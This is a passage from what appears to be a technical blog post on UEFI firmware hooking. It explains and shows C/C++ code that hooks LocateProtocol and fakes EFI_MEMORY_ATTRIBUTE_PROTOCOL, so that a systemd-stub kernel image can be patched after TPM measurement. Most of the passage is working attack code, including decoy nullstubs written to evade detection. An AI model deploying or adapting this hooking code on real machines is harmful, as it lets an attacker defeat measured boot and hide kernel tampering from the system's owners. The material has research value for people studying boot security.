</span></span><span class="line"><span class="cl">                        <span class="p">(</span><span class="k">const</span> <span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span> <span class="n">loaded_image</span><span class="o">-&gt;</span><span class="n">ImageBase</span> <span class="o">+</span> <span class="n">sections</span><span class="p">[</span><span class="n">UNIFIED_SECTION_LINUX</span><span class="p">].</span><span class="n">memory_offset</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">sections</span><span class="p">[</span><span class="n">UNIFIED_SECTION_LINUX</span><span class="p">].</span><span class="n">memory_size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">err</span> <span class="o">=</span> <span class="nf">linux_exec</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="n">cmdline</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kernel</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">final_initrd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">graphics_mode</span><span class="p">(</span><span class="nb">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>linux_exec</code> changes the now measured bzImage mapping protection using <code>EFI_MEMORY_ATTRIBUTE_PROTOCOL</code> through a wrapper function <code>memory_mark_ro_x</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">EFI_STATUS</span> <span class="nf">linux_exec</span><span class="p">(</span><span class="n">EFI_HANDLE</span> <span class="n">parent_image</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                      <span class="k">const</span> <span class="kt">char16_t</span> <span class="o">*</span><span class="n">cmdline</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                      <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">kernel</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                      <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">initrd</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">size_t</span> <span class="n">kernel_size_in_memory</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uint32_t</span> <span class="n">compat_entry_point</span><span class="p">,</span> <span class="n">entry_point</span><span class="p">,</span> <span class="n">section_alignment</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">EFI_STATUS</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Not a code section? Nothing to do, leave as-is. */</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">memory_proto</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">h</span><span class="o">-&gt;</span><span class="n">Characteristics</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">PE_CODE</span><span class="o">|</span><span class="n">PE_EXECUTE</span><span class="p">)))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* Record the section for cleanup before marking it RO+X: if memory_mark_ro_x()
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * fails after partially applying the attributes, cleanup still reverts them. */</span>
</span></span><span class="line"><span class="cl">                <span class="n">nx_restore</span><span class="p">.</span><span class="n">sections</span> <span class="o">=</span> <span class="nf">xrealloc</span><span class="p">(</span><span class="n">nx_restore</span><span class="p">.</span><span class="n">sections</span><span class="p">,</span> <span class="n">nx_restore</span><span class="p">.</span><span class="n">n_sections</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">iovec</span><span class="p">),</span> <span class="p">(</span><span class="n">nx_restore</span><span class="p">.</span><span class="n">n_sections</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">iovec</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">                <span class="n">nx_restore</span><span class="p">.</span><span class="n">sections</span><span class="p">[</span><span class="n">nx_restore</span><span class="p">.</span><span class="n">n_sections</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="nf">IOVEC_MAKE</span><span class="p">(</span><span class="n">loaded_kernel</span> <span class="o">+</span> <span class="n">h</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span><span class="p">,</span> <span class="n">h</span><span class="o">-&gt;</span><span class="n">VirtualSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">err</span> <span class="o">=</span> <span class="nf">memory_mark_ro_x</span><span class="p">(</span><span class="n">memory_proto</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">nx_restore</span><span class="p">.</span><span class="n">sections</span><span class="p">[</span><span class="n">nx_restore</span><span class="p">.</span><span class="n">n_sections</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="k">return</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">EFI_STATUS</span> <span class="nf">memory_mark_ro_x</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span> <span class="o">*</span><span class="n">memory_proto</span><span class="p">,</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">nx_section</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">EFI_STATUS</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="n">memory_proto</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="n">nx_section</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* As per MSFT requirement, memory pages need to be marked W^X, so mark code pages RO+X.
</span></span></span><span class="line"><span class="cl"><span class="cm">         * Firmwares will start enforcing this at some point in the near-ish future.
</span></span></span><span class="line"><span class="cl"><span class="cm">         * The kernel needs to mark this as supported explicitly, otherwise it will crash.
</span></span></span><span class="line"><span class="cl"><span class="cm">         * https://microsoft.github.io/mu/WhatAndWhy/enhancedmemoryprotection/
</span></span></span><span class="line"><span class="cl"><span class="cm">         * https://www.kraxel.org/blog/2023/12/uefi-nx-linux-boot/ */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">err</span> <span class="o">=</span> <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="nf">SetMemoryAttributes</span><span class="p">(</span><span class="n">memory_proto</span><span class="p">,</span> <span class="nf">POINTER_TO_PHYSICAL_ADDRESS</span><span class="p">(</span><span class="n">nx_section</span><span class="o">-&gt;</span><span class="n">iov_base</span><span class="p">),</span> <span class="n">nx_section</span><span class="o">-&gt;</span><span class="n">iov_len</span><span class="p">,</span> <span class="n">EFI_MEMORY_RO</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nf">log_error_status</span><span class="p">(</span><span class="n">err</span><span class="p">,</span> <span class="s">&#34;Cannot make kernel image read-only: %m&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">err</span> <span class="o">=</span> <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="nf">ClearMemoryAttributes</span><span class="p">(</span><span class="n">memory_proto</span><span class="p">,</span> <span class="nf">POINTER_TO_PHYSICAL_ADDRESS</span><span class="p">(</span><span class="n">nx_section</span><span class="o">-&gt;</span><span class="n">iov_base</span><span class="p">),</span> <span class="n">nx_section</span><span class="o">-&gt;</span><span class="n">iov_len</span><span class="p">,</span> <span class="n">EFI_MEMORY_XP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nf">log_error_status</span><span class="p">(</span><span class="n">err</span><span class="p">,</span> <span class="s">&#34;Cannot make kernel image executable: %m&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>So if we hook <code>LocateProtocol</code> to return a fake copy protocol with hooked <code>SetMemoryAttributes</code>, we get the measured bzImage pointer before read only protection.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">switch</span> <span class="p">(</span><span class="n">loaded_image_type</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="nl">SYSTEMD_STUB_UKI</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="nl">STUB_UKI</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">uki_image_base</span> <span class="o">=</span> <span class="n">base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uki_image_end</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">original_LocateProtocol</span> <span class="o">=</span> <span class="n">swap_service_ptr</span><span class="p">(</span><span class="o">&amp;</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">Hdr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">LocateProtocol</span><span class="p">,</span> <span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">LocateProtocol</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">g</span><span class="o">::</span><span class="n">state</span> <span class="o">|=</span> <span class="n">loaded_image_type</span> <span class="o">==</span> <span class="n">STUB_UKI</span> <span class="o">?</span> <span class="nl">UKI_LOADED</span> <span class="p">:</span> <span class="n">SYSTEMD_STUB_LOADED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;Hooked LocateProtocol to fake EFI_MEMORY_ATTRIBUTE_PROTOCOL for UKI stub</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>In my hook I return a shadow protocol table with additional hooks. I also discovered by losing a night of sleep that vmware didn&rsquo;t implement <code>EFI_MEMORY_ATTRIBUTE_PROTOCOL</code>. My code assumed it did, so no errors were being reported. Bummer.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">EFI_STATUS</span> <span class="n">EFIAPI</span> <span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">LocateProtocol</span><span class="p">(</span><span class="n">EFI_GUID</span> <span class="o">*</span><span class="n">Protocol</span><span class="p">,</span> <span class="n">VOID</span> <span class="o">*</span><span class="n">Registration</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                             <span class="n">VOID</span> <span class="o">**</span><span class="n">Interface</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span> <span class="o">*</span><span class="n">memory_proto</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="kt">bool</span> <span class="n">table_properly_hooked</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">return_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_STATUS</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">Protocol</span> <span class="o">||</span> <span class="o">!</span><span class="n">Interface</span> <span class="o">||</span> <span class="o">!</span><span class="n">CompareGuid</span><span class="p">(</span><span class="n">Protocol</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">gEfiMemoryAttributeProtocolGuid</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_LocateProtocol</span><span class="p">(</span><span class="n">Protocol</span><span class="p">,</span> <span class="n">Registration</span><span class="p">,</span> <span class="n">Interface</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// ensure we got called from within UKI
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">return_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">__builtin_return_address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">return_address</span> <span class="o">&lt;</span> <span class="n">uki_image_base</span> <span class="o">||</span> <span class="n">return_address</span> <span class="o">&gt;</span> <span class="n">uki_image_end</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_LocateProtocol</span><span class="p">(</span><span class="n">Protocol</span><span class="p">,</span> <span class="n">Registration</span><span class="p">,</span> <span class="n">Interface</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// allocate shadow, avoid patching original table
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">memory_proto</span> <span class="o">==</span> <span class="k">nullptr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">AllocatePages</span><span class="p">(</span><span class="n">AllocateAnyPages</span><span class="p">,</span> <span class="n">EfiBootServicesData</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="n">EFI_SIZE_TO_PAGES</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span><span class="p">)),</span>
</span></span><span class="line"><span class="cl">                               <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">memory_proto</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">res</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Failed to allocate shadow EFI_MEMORY_ATTRIBUTE_PROTOCOL</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nf">original_LocateProtocol</span><span class="p">(</span><span class="n">Protocol</span><span class="p">,</span> <span class="n">Registration</span><span class="p">,</span> <span class="n">Interface</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// get original table to copy from
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">res</span> <span class="o">=</span> <span class="n">original_LocateProtocol</span><span class="p">(</span><span class="n">Protocol</span><span class="p">,</span> <span class="n">Registration</span><span class="p">,</span> <span class="n">Interface</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// vmware and other old firmware don&#39;t implement this, so just fake one with nullstubs.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// we do that because SystemD stub hands us bzImage code section pointer and size post
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// TPM extend and remapping, so we can simply patch it there
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">res</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="n">EFI_NOT_FOUND</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;LocateProtocol failed for EFI_MEMORY_ATTRIBUTE_PROTOCOL (%r)</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="n">res</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;EFI_MEMORY_ATTRIBUTE_PROTOCOL not implemented, faking one</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="n">ClearMemoryAttributes</span> <span class="o">=</span> <span class="n">ClearMemoryAttributes_nullstub</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="n">GetMemoryAttributes</span> <span class="o">=</span> <span class="n">GetMemoryAttributes_nullstub</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="n">SetMemoryAttributes</span> <span class="o">=</span> <span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">SetMemoryAttributes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">original_SetMemoryAttributes</span> <span class="o">=</span> <span class="n">SetMemoryAttributes_nullstub</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">Interface</span> <span class="o">=</span> <span class="n">memory_proto</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">table_properly_hooked</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">CopyMem</span><span class="p">(</span><span class="n">memory_proto</span><span class="p">,</span> <span class="o">*</span><span class="n">Interface</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="n">original_SetMemoryAttributes</span> <span class="o">=</span> <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="n">SetMemoryAttributes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">memory_proto</span><span class="o">-&gt;</span><span class="n">SetMemoryAttributes</span> <span class="o">=</span> <span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">SetMemoryAttributes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;Spoofed EFI_MEMORY_ATTRIBUTE_PROTOCOL</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">table_properly_hooked</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="n">Interface</span> <span class="o">=</span> <span class="n">memory_proto</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The nullstubs were literally that, they did nothing:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">EFI_STATUS</span> <span class="n">EFIAPI</span> <span class="nf">GetMemoryAttributes_nullstub</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span> <span class="o">*</span><span class="n">This</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                      <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">BaseAddress</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                      <span class="n">UINT64</span> <span class="n">Length</span><span class="p">,</span> <span class="n">UINT64</span> <span class="o">*</span><span class="n">Attributes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// standard verifications, makes it very slightly harder to detect its a nullstub
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// if someone calls this with bogus parameters
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ALIGNED</span><span class="p">(</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_UNSUPPORTED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ALIGNED</span><span class="p">(</span><span class="n">Length</span><span class="p">,</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_UNSUPPORTED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">Length</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RETURN_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">Attributes</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// placeholder, I might change to reflect reality
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="o">*</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">EFI_MEMORY_RP</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="n">EFI_STATUS</span> <span class="nf">SetMemoryAttributes_nullstub</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span> <span class="o">*</span><span class="n">This</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                               <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">UINT64</span> <span class="n">Length</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                               <span class="n">UINT64</span> <span class="n">Attributes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// standard verifications, makes it very slightly harder to detect its a nullstub
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// if someone calls this with bogus parameters
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">Attributes</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">((</span><span class="n">Attributes</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">EFI_MEMORY_ACCESS_MASK</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">Length</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RETURN_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="n">EFI_STATUS</span> <span class="n">EFIAPI</span> <span class="nf">ClearMemoryAttributes_nullstub</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span> <span class="o">*</span><span class="n">This</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                        <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">BaseAddress</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                        <span class="n">UINT64</span> <span class="n">Length</span><span class="p">,</span> <span class="n">UINT64</span> <span class="n">Attributes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// standard verifications, makes it very slightly harder to detect its a nullstub
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// if someone calls this with bogus parameters
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">Attributes</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">((</span><span class="n">Attributes</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">EFI_MEMORY_ACCESS_MASK</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">Length</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
